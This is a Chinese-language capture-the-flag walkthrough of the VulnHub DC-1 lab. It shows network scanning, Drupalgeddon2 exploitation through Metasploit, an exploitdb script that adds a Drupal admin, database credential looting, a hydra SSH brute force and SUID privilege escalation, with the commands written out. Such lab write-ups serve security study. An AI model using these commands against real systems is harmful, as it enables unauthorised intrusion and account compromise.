攻击渗透机: kali IP地址:192.168.75.128
靶机:DC-1 IP地址
下载地址:https://www.vulnhub.com/entry/dc-1,292/
netdiscover
可以确认目标靶机IP地址为 192.168.75.141
还可以使用 arp-scan -l
同样扫描出目标靶机IP地址
既然知道了靶机的IP地址,那就理所应当的扫描下端口啦
这里使用端口扫描神器 nmap来完成
nmap -T4 -sV -O -A -p 80,445,22,139 192.168.75.139
-T4(速度) -sV(版本扫描和开启的服务) -O(操作系统) -p-(全部端口)
扫描到目标开启了22,80,111端口,且服务均为tcp服务等等信息
但是使用nmap进行扫描数度较慢,且很容易被发现,被拦截,因为使用的是靶机练习,所以无所谓了
还有一种扫描端口的工具
masscan 只能扫出开放端口而且速度快,但是存在漏扫,可以多扫几次
masscan --rate=100000 --ports 0-65535 IP
masscan --rate=每秒多少个数据包 -p/–ports 端口范围 IP地址/IP地址段
它的优点是扫描特别快速,且不容易被发现,但缺点也是致命的,它仅仅只能探测出目标开放的端口,有关端口的任何详细信息,无法扫描出
目标开启了80(tcp)服务,那么我们就去访问一下,看有无可利用信息
一个很简单的网页,但是存在输入框,疑似存在暴力破解,但是这里需要爆破两个点,而我们却没有任何有关账号密码的信息,爆破花费极大,需要一个极度强大的字典,并且需要耗费特别多的时间,果断放弃暴力破解
使用Firefox插件Wappalyzer查看到如下网页信息
三大PHP CMS网站:Drupal、 Wordpress、Joomla
貌似没什么可利用信息了
爆破目录,当然得使用目录爆破神器 dirb
dirb http://192.168.75.141
扫描到目标靶机robots.txt,访问查看
查看UPGRADE.txt,了解靶机网站的版本信息
知道了Drupal的版本为7.X后,就可以开始进行漏洞利用了,Drupal 7.X版本有远程代码执行漏洞
msfconsole 打开MSF
在MSF中搜索,drupal
search drupal
利用2018年的这个漏洞
use exploit/unix/webapp/drupal_drupalgeddon2
show option 查看需要设置的参数
set RHOSTS 192.168.75.141
ls可查看到有一个flag1.txt
并不能直接查看到flag1.txt,但是提示我们查找、查看CMS配置文件
Drupal的配置文件是网站根目录下的/site/defaultx下的setting.php文件
得到flag2,提示不要使用字典暴力破解密码,应该使用其他方法,通过数据库应该是一种方法。并且得到了数据库的账号密码
接下来,访问数据库
远程连接一下
使用python升级为交互式窗口,这样看着更舒服一点
python -c 'import pty; pty.spawn("/bin/bash")'
mysql -udbuser -pR0ck3t
show databases; 查看数据库名
可看到这里有两个库,直觉表示我们需要的信息就在drupaldb这个库里面
use drupaldb; #使用drupaldb数据库
show tables; #查看数据库内的表
select * from users; select语句查询
方法1:在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,使用此方法简便了破解admin的密码
searchsploit drupal
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.75.141 -u admin2 -p admin2
方法2:使用Drupal对数据库的加密方法,加密脚本位置在网站根目录下的scripts下,使用加密脚本加密新密码,生成加密密文
php scripts/password-hash.sh mima
使用浏览器登陆,拿到flag3
提示我们寻找password和shadow
cat /etc/passwd
找到了flag4 这个用户,并且它有/bin/bash权限,所以可以用来提权
需要我们查看shadow文件,并使用find命令提权
使用find命令查找有特殊权限suid的命令
find / -perm -4000
hydra -l flag4 -p /usr/share/john/password.lst 192.168.75.141 ssh -vV -f
ssh [email protected]
发现flag4.txt
进去之后,发现是“$”,而不是“#”,需要使用find命令提权为root
在root的根目录下发现最终的flag文件,到这里5个flag全部找到!
1.Linux权限管理部分还需要下去再学一下
2.find命令还有诸多不熟悉的地方
3.hydra工具命令语法不是特别熟练,并且急需一个足够强大的爆破字典
4.密码密文生成不熟悉